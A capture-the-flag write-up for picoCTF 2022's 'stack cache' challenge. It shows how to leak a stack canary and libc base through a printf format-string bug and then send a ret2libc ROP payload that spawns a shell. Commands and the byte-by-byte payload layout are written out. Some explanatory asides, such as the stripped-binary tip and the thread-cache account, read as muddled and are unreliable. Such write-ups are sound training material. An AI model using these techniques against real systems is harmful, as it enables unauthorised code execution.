stack cache picoCTF 2022 Solution

Published: July 20, 2023

Description

A binary with a tiny input buffer and a format string vulnerability. Leak the stack canary, PIE base, and libc address through stacked %p specifiers, then build a ret2libc chain to pop a shell.

Download the binary, libc, and linker files from the challenge.

Patch the binary to use the provided libc with patchelf.

Analyze the binary in Ghidra or GDB to map offsets.

bash
chmod +x vuln
bash
patchelf --set-interpreter ./ld-linux-x86-64.so.2 --set-rpath . ./vuln
  1. Step 1Identify the format string vulnerability
    The binary passes user input directly to printf. Probe with %p to leak stack values.
    python
    python3 -c "print('%p.'*30)" | ./vuln
    Learn more

    A format string vulnerability occurs when user-controlled input is passed as the first argument to printf without a format string: printf(user_input) instead of printf("%s", user_input). The attacker can choose specifiers like %p to print stack values, %s to dereference pointers, or %n to write values.

    With stacked %p specifiers, consecutive 8-byte values are read from the stack. By examining 20-30 positions you can identify the canary (random with a null low byte), saved RBP, and return addresses pointing into the binary or libc.

    Stripped-binary fallback. If the binary has no symbols (file reports stripped) you can still spot format-string sinks by scanning .rodata for printf-like format strings that are missing a tell-tale specifier next to the printf call: strings -tx vuln or readelf -p .rodata vuln show every constant, and any literal lacking % next to a printf@plt reference in objdump -d is a candidate. Cross-reference with objdump -d vuln | grep -B2 'call.*printf' to confirm.

  2. Step 2Leak canary, PIE base, and libc base
    Use positional format specifiers like %15$p to target specific stack slots for the canary, binary return address, and libc pointer.
    python
    python3 -c "from pwn import *; p = process('./vuln'); p.sendline(b'%15$p.%21$p.%23$p'); print(p.recvline())"
    Learn more

    What "stack cache" refers to. glibc's pthread implementation maintains a per-process stack cache: when a thread exits, its stack is not unmapped but kept on a free list so the next thread starts faster. The stack canary on x86-64 is sourced from fs:0x28, where fs points at the thread's TCB (Thread Control Block). The master canary in the main thread's TCB is initialized once at startup. Cached child threads inherit the same TCB region across reuse, which means the same canary value can persist across thread lifetimes -- handy when leaking once and exploiting later.

    Identifying each leak in the %p output. The three things you want look like this:

    canary:        0xa1b2c3d4e5f6??00   <- 8 bytes, low byte = 00
                                           (high entropy, no recognizable prefix)
    
    PIE return:    0x55XXXXXXXXXX        <- starts with 0x55 (PIE base)
                                           value = pie_base + offset_into_binary
                   => pie_base = leak - known_offset_of_call_site
    
    libc return:   0x7fXXXXXXXXXX        <- starts with 0x7f (mmap'd region)
                                           value = libc_base + offset_in_libc
                   => libc_base = leak - libc.sym['__libc_start_main'] - 0xea
                                  (offset varies per libc version; verify low 12
                                   bits of libc_base = 0x000)

    Pwntools' libc-database identify libc.so.6 or matching the leak's low 12 bits against a candidate libc's symbol confirms the right offset. The 0x000 suffix on a correct base is the sanity check: shared libraries are page-aligned.

    The constant 0xea in libc_base = leak - __libc_start_main - 0xea is the in-libc offset of the instruction after the call to main inside __libc_start_main -- i.e., the return address that gets pushed on the stack when __libc_start_main calls user code. That return address is what shows up as a libc pointer on the stack, so subtracting __libc_start_main + 0xea from the leak yields the libc base. The exact value (0xea, 0xf3, 0x29d90, etc.) depends on glibc version; readelf -s libc.so.6 | grep __libc_start_main plus a quick objdump -d at that symbol pins it down.

    Deriving offsets without pwntools. Once you have the libc that ships with the challenge, readelf -s libc.so.6 dumps every symbol with its file offset. Filter the table for the symbols you need:

    readelf -s libc.so.6 | grep -E ' (__libc_start_main|system|__libc_csu)'
    # 1234: 0000000000023d40   442 FUNC GLOBAL DEFAULT 14 system@@GLIBC_2.2.5
    # 5678: 0000000000022e10    79 FUNC GLOBAL DEFAULT 14 __libc_start_main@@...
    
    strings -a -t x libc.so.6 | grep '/bin/sh'
    # 1b3e1a /bin/sh           <- offset of the literal "/bin/sh" string
    
    # Then libc_base = leak - (libc_start_main_offset + 0xea_or_similar)
    # system_addr  = libc_base + 0x23d40
    # binsh_addr   = libc_base + 0x1b3e1a
  3. Step 3Build and send the ret2libc payload
    Overflow past the canary with the correct canary value, then chain: ret gadget, pop rdi, /bin/sh, system().
    Learn more

    Full payload, byte-by-byte:

    payload =  b'A' * BUFSIZE              # fill local buffer
            +  p64(canary_leaked)          # canary preserved -> check passes
            +  p64(0x4141414141414141)     # saved rbp (any value)
            +  p64(libc_base + ret_off)    # 16-byte align rsp
            +  p64(libc_base + pop_rdi_off)
            +  p64(libc_base + binsh_off)  # rdi = "/bin/sh"
            +  p64(libc_base + system_off) # call system
    
    After the function's epilogue:
      cmp [rbp-8], canary       -> equal -> jump over __stack_chk_fail
      leave                      -> rbp = saved_rbp (junk; never used again)
      ret                        -> pops align_ret -> chain begins

    The ret-for-alignment gadget is the most-overlooked detail. The function's own ret already increments rsp by 8, leaving it at ...0x8. pop rdi; ret (16 bytes consumed) keeps that parity. system() is reached via a final ret, so when execution lands at the first instruction of system, rsp is at ...0x8. The first movaps xmm0, [rsp+0x40] inside system faults because movaps requires 16-byte alignment. Inserting an extra bare ret burns 8 bytes and shifts rsp to ...0x0, satisfying alignment.

    Once system("/bin/sh") spawns the shell, run cat /flag (or cat flag.txt) to read the flag.

Flag

picoCTF{...}

This challenge was not solved during the competition. The flag is obtained by leaking the canary and libc addresses via the format string, then executing a ret2libc ROP chain.

Want more picoCTF 2022 writeups?

Tools used in this challenge

Related reading

What to try next